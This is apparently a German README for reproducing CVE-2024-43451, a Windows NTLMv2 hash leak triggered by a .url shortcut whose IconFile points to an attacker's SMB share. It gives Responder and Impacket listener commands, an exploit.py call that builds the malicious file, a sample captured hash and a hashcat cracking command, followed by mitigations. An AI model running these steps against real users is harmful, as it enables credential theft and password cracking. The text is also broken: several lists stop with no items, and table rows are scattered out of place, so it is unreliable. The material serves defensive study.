
CVE-Reproduktion: cve-2024-43451-ntlm_hash_disclosure_reproduction
CVE-2024-43451 ist eine Schwachstelle in Windows, die durch Spoofing die Offenlegung von NTLMv2-Hashes ermöglicht. Sie erlaubt einem nicht authentifizierten entfernten Angreifer, den NTLM-Hash eines Opfers abzugreifen, indem das Opfer dazu gebracht wird, mit einer bösartigen .url-Verknüpfungsdatei zu interagieren. Die Schwachstelle wird mit minimaler Benutzerinteraktion ausgelöst – bereits ein Rechtsklick, Löschen oder Verschieben der Datei genügt, um den Hash preiszugeben. Sie hat einen CVSS-Score von 6.5 (Mittel) und wurde aktiv in freier Wildbahn ausgenutzt. CISA hat sie in den Katalog bekannter ausgenutzter Schwachstellen (KEV) aufgenommen.
NTLM (NT LAN Manager) ist ein Challenge-Response-Authentifizierungsprotokoll, das von Windows verwendet wird. Wenn ein Client versucht, über SMB auf eine Ressource zuzugreifen, führen Client und Server einen Handshake durch:
NEGOTIATE_MESSAGE mit den unterstützten Fähigkeiten.CHALLENGE_MESSAGE, die eine 8-Byte-Nonce (Server-Challenge) enthält.AUTHENTICATE_MESSAGE, die den NTLMv2-Hash enthält – ein HMAC-MD5 der Challenge kombiniert mit dem Passwort-Hash des Benutzers, dem Benutzernamen und der Domäne.Wenn ein Angreifer einen NTLM-Authentifizierungsversuch gegenüber einer von ihm kontrollierten Maschine beobachten oder auslösen kann, kann die erfasste AUTHENTICATE_MESSAGE offline geknackt werden, um das Klartext-Passwort wiederherzustellen.
Eine .url-Datei ist eine Verknüpfungsdatei, die von Internet Explorer und Windows Explorer zum Speichern von Links verwendet wird. Es handelt sich um eine INI-formatierte Datei mit einem Abschnitt [InternetShortcut]. Die für die Ausnutzung kritischen Felder sind:
URL= – die Ziel-URL, die Windows öffnen wird.IconFile= – ein optionaler UNC-Pfad zu einer Symbolressource. Wenn Windows Explorer die Datei rendert, versucht es automatisch, das Symbol aus der entfernten Freigabe abzurufen, was einen NTLM-Authentifizierungsversuch gegenüber dem Server des Angreifers auslöst.Der Angreifer erstellt eine .url-Datei mit einem IconFile-Parameter, der auf \\angreifer-ip\freigabe\icon.ico zeigt. Wenn das Opfer:
versucht Windows Explorer, das Symbol über den UNC-Pfad zu laden und sendet dabei den NTLMv2-Hash des Opfers an den SMB-Listener des Angreifers (z. B. Responder).
Alle unterstützten Windows-Versionen vor dem Patchday im November 2024:
| Tool | Beschreibung |
|---|---|
| Responder | LLMNR/NBT-NS/mDNS-Poisoner mit integriertem SMB-Server zum Erfassen von Hashes |
Mit Responder:
sudo responder -I eth0 -v
Oder mit Impacket:
sudo impacket-smbserver share . -smb2support
python exploit.py --ip 192.168.1.100 --output malicious.url
Jede der folgenden Aktionen löst den Hash-Leak aus:
Der SMB-Listener des Angreifers empfängt einen NTLMv2-Hash:
[SMB] NTLMv2-SSP Hash : victim::DOMAIN:1122334455667788:0123456789abcdef0123456789abcdef:010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
hashcat -m 5600 captured.txt /usr/share/wordlists/rockyou.txt
# See exploit.py in this repository for a full PoC implementation.
# The script generates a .url file with IconFile set to:
# \\192.168.1.100\share\icon.ico
# and optionally a custom display icon via IconIndex.
| Impacket |
Mit smbserver.py kann eine einfache SMB-Freigabe bereitgestellt werden |
| Inveigh | PowerShell-basiertes NTLM-Capture-Tool für Windows |
| Gegenmaßnahme | Beschreibung |
|---|
| Patch vom November 2024 einspielen | Microsoft-Sicherheitsupdate aus KB5044285 installieren |
| Ausgehendes SMB blockieren (Port 445) | Verhindern, dass NTLM-Hashes die Netzwerkgrenze verlassen |
| NTLM wo möglich deaktivieren | Nur noch Kerberos-Authentifizierung verwenden |
| SMB-Signierung aktivieren | Verhindert Relay-Angriffe, selbst wenn Hashes erfasst werden |
| Schulung der Benutzer | Benutzer darin schulen, nicht mit unerwarteten .url-Dateien zu interagieren |
| Behandlung von .url-Dateien einschränken | Über Gruppenrichtlinien die Ausführung oder Zustellung von .url-Dateien per E-Mail blockieren |